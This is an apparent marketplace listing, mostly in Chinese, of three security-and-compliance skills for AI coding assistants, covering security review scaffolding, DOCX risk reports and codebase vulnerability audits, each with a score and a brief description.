81加强应用安全评审
由 alirezarezvani
安全评审通常缺少一致的检查清单和可复用工作流。此技能为 Claude、Codex 和 Claude Code 提供安全评审脚手架、参考指南和简单的报告脚本。
安全与合规 查看
📦
security-report
78生成安全评估报告
由 BytR-Ecosystems
安全发现很难清晰地呈现给高管和技术团队。此技能可创建结构化 DOCX 报告，其中包含风险评级和修复指导。
安全与合规 查看
📦
security-audit
76Audit Codebases for Security Vulnerabilities
由 cloudflare
Security reviews often miss trust-boundary failures or produce weak evidence. This skill structures reconnaissance, isolated validation, independent verification, and actionable reporting.
安全与合规 查看